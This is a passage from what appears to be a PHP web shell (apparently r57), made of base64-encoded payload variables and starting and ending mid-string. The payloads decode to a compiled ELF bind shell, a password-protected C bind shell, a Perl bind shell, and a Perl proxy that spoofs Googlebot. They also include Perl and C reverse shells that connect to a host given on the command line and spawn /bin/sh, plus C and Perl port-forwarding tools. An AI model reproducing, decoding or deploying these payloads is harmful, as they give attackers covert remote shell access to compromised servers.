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DUl9MSVNUX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A"; $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk 7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld 2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; $port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N lIENPTk47DQpleGl0IDA7DQp9DQp9"; $prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT 0NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09 DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1 BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN 0ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG 9wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG 9yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0="; $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; $datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow 0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c 29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci 5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm lsZSk7DQogIHJldHVybiAwOw0KfQ=="; $datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp 